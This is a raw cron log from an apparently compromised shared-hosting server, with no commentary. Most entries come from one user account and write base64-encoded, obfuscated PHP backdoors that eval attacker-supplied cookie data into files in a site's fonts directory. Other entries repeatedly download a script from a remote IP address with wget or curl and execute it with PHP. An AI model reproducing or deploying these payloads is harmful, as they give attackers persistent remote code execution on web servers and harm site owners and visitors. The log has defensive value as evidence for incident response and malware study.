Sep  8 10:26:01 ip-184-168-122-23 CROND[32483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:27:01 ip-184-168-122-23 CROND[32608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:27:01 ip-184-168-122-23 CROND[32609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:27:01 ip-184-168-122-23 CROND[32610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:27:01 ip-184-168-122-23 CROND[32612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:28:01 ip-184-168-122-23 CROND[32743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:28:01 ip-184-168-122-23 CROND[32745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:28:01 ip-184-168-122-23 CROND[32746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:28:01 ip-184-168-122-23 CROND[32748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:28:01 ip-184-168-122-23 CROND[32747]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:29:01 ip-184-168-122-23 CROND[399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:29:01 ip-184-168-122-23 CROND[401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:29:01 ip-184-168-122-23 CROND[398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:29:01 ip-184-168-122-23 CROND[402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:30:01 ip-184-168-122-23 CROND[684]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 10:30:01 ip-184-168-122-23 CROND[687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:30:01 ip-184-168-122-23 CROND[688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:30:01 ip-184-168-122-23 CROND[689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:30:01 ip-184-168-122-23 CROND[691]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:30:01 ip-184-168-122-23 CROND[692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:30:01 ip-184-168-122-23 CROND[699]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:30:01 ip-184-168-122-23 CROND[698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:31:01 ip-184-168-122-23 CROND[820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:31:01 ip-184-168-122-23 CROND[824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:31:01 ip-184-168-122-23 CROND[822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:31:01 ip-184-168-122-23 CROND[825]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 10:31:01 ip-184-168-122-23 CROND[823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:32:01 ip-184-168-122-23 CROND[918]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:32:01 ip-184-168-122-23 CROND[919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:32:01 ip-184-168-122-23 CROND[922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:32:01 ip-184-168-122-23 CROND[926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:32:01 ip-184-168-122-23 CROND[927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:33:01 ip-184-168-122-23 CROND[1039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:33:01 ip-184-168-122-23 CROND[1040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:33:01 ip-184-168-122-23 CROND[1041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:33:01 ip-184-168-122-23 CROND[1042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:34:01 ip-184-168-122-23 CROND[1147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:34:01 ip-184-168-122-23 CROND[1150]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:34:01 ip-184-168-122-23 CROND[1152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:34:01 ip-184-168-122-23 CROND[1154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:34:01 ip-184-168-122-23 CROND[1155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:35:02 ip-184-168-122-23 CROND[1372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:35:02 ip-184-168-122-23 CROND[1374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:35:02 ip-184-168-122-23 CROND[1375]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 10:35:02 ip-184-168-122-23 CROND[1378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:35:02 ip-184-168-122-23 CROND[1379]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:35:02 ip-184-168-122-23 CROND[1380]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:35:02 ip-184-168-122-23 CROND[1373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:35:02 ip-184-168-122-23 CROND[1377]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 10:36:01 ip-184-168-122-23 CROND[1513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:36:01 ip-184-168-122-23 CROND[1515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:36:01 ip-184-168-122-23 CROND[1518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:36:01 ip-184-168-122-23 CROND[1516]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:36:01 ip-184-168-122-23 CROND[1517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:37:01 ip-184-168-122-23 CROND[1612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 10:37:01 ip-184-168-122-23 CROND[1615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:37:01 ip-184-168-122-23 CROND[1616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:37:01 ip-184-168-122-23 CROND[1614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:38:01 ip-184-168-122-23 CROND[1724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:38:01 ip-184-168-122-23 CROND[1726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 10:38:01 ip-184-168-122-23 CROND[1727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 10:38:01 ip-184-168-122-23 CROND[1728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
